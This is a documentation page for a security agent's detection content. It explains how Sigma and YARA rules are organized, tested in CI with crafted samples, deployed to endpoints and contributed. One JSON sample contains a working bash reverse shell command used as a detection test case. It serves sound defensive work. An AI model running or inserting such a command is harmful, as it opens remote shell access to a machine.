Skip to content
Documentation

Detection content

How Synthaea's Sigma and YARA rules are organized, tested and loaded by the agent, and how to add a rule that is guaranteed to fire.

Last updated

Detection content lives in its own repository, rules, separate from the engine code so it can ship on its own cadence. The agent's engines load it; the agent's built-in behavioral rules and the correlator run with or without it.

DirectoryWhatEngine
sigma/Behavioral rules on the event stream, one directory per platformsigma
yara/File content rules (memory scanning later), by categoryyara (YARA-X)
ioc/IOC feeds: sha256:, ip: and domain: lines (proposed)intel

At the time of writing the repository holds about 40 Sigma rules for Linux, Windows and macOS (reverse shells, credential dumping, persistence, security-tool tampering, exfiltration to paste and cloud services) and a few YARA rules (web shells and a lab payload). Every rule carries MITRE ATT&CK technique tags.

Detection as code

A rule nothing can trigger is dead content, so CI enforces two things on every change:

  • every Sigma rule parses within the subset the on-device engine supports, and every YARA file compiles; an out-of-subset or broken rule fails loudly, naming the file;
  • every rule fires on a crafted matching sample and stays quiet on a near miss.

For Sigma, the samples sit beside the rule as <rule>.samples.json:

{
  "matching": {
    "image": "/bin/bash",
    "cmdline": "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
  },
  "non_matching": {
    "image": "/usr/bin/nc",
    "cmdline": "nc -zv host 22",
    "note": "nc used to scan, not to spawn a shell: the boundary is the -e flag"
  }
}

Sigma on the agent

Rules are organized by platform: sigma/linux/, sigma/windows/, sigma/macos/. A host loads only the directories for its platform: Linux loads linux/, Windows windows/, and macOS loads macos/ and linux/ (the Unix-family rules). A rule outside these three directories runs nowhere. File names are descriptive, without platform prefixes: linux/reverse_shell.yml, windows/powershell_encoded.yml.

The engine supports a subset of the Sigma specification and rejects anything outside it at load time rather than silently ignoring part of a rule.

YARA on the agent

YARA rules use YARA-X and follow <category>/<family-or-technique>.yar, for example webshell/webshell_php_superglobal_exec.yar. Each rule needs one crafted sample that matches it.

Loading content on an endpoint

The agent loads rules from <content-dir>/rules/sigma and <content-dir>/rules/yara. The content directory defaults to <storage.state_dir>/content, that is /var/lib/synthaea/content on Linux. The beta packages do not ship rules yet.

Standalone, copy the repository's rules in place and restart:

git clone https://github.com/synthaea-lab/rules
sudo mkdir -p /var/lib/synthaea/content/rules
sudo cp -r rules/sigma rules/yara /var/lib/synthaea/content/rules/
sudo chown -R synthaea:synthaea /var/lib/synthaea/content
sudo systemctl restart synthaea-agent

With a control plane, content is published as a signed manifest per rollout ring (canary_0, canary_1, canary_2, then prod). agent apply-content-manifest fetches the manifest for the agent's ring, downloads what changed, verifies each file's SHA-256 and the manifest signature, and tells the running agent to reload. Agents never roll back to an older release; a bad rule is withdrawn by publishing a newer release without it, and an operator can halt a ring from the console. Production content signing keys are not provisioned yet, so this path is for labs today.

Contributing a rule

  1. Fork rules and add the rule in the right platform or category directory.
  2. Add its samples: one matching and one near-miss event for Sigma, one matching sample for YARA.
  3. Run the content suites, with agent cloned as agent next to your rules checkout: cargo test -p sigma --test content --test platform && cargo test -p yara --test content && cargo test -p intel --test content from agent/.
  4. Open a pull request. Adversary-emulation content for testing our own detections is welcome; offensive tooling is not (see Contributing).